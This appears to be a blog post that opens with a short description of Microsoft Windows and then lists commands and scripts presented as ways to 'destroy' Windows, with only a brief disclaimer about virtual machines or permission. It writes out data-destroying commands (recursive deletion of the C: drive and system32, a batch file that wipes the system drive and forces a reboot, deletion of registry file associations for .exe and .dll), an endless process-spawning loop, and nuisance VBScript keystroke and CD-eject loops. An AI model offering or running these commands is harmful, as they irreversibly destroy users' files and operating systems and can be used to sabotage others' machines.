Microsoft Windows, commonly referred to as Windows, is a group of several proprietary graphical operating system families, all of which are developed and marketed by Microsoft. Each family caters to a certain sector of the computing industry. Active Microsoft Windows families include Windows NT and Windows IoT; these may encompass subfamilies, (e.g. Windows Server or Windows Embedded Compact) (Windows CE). Defunct Microsoft Windows families include Windows 9x, Windows Mobile and Windows Phone.
OK, like seriously don’t do it unless you’re doing it in a practice Virtual machine or have permission to do so.. I take no responsibility for these collection of best ways to destroy Microsoft Windows!
Type this in command prompt:
RD C:\ /S /Q del c:\windows\system32*.* /q del /f /s /q “C:*.*.”
Type these in notepad
Save the file anywhere (.bat) and execute it:
The blue screen of Death
@echo off del %systemdrive%\*.*/f/s/q shutdown -r -f -t 00
Stupidity Shutdown
@echo off msg * Fatal system error due to admin stupidity! shutdown -c “Error! You are too stupid!” -s -t 10
Delete Key Registry Files
@ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO Your computer has been fcked.  Have a nice day. GOTO MESSAGE
Endless Notepads
@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top
Crazy caps lock
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Endless Enter
Set wshShell = wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “~(enter)” loop
Endless Backspace
MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Popping CD Drives
Set oWMP = CreateObject(“WMPlayer.OCX.7”) Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop
And have a good day; in fact now that you have destroyed your Windows, have a great day and enjoy some fresh air outside.
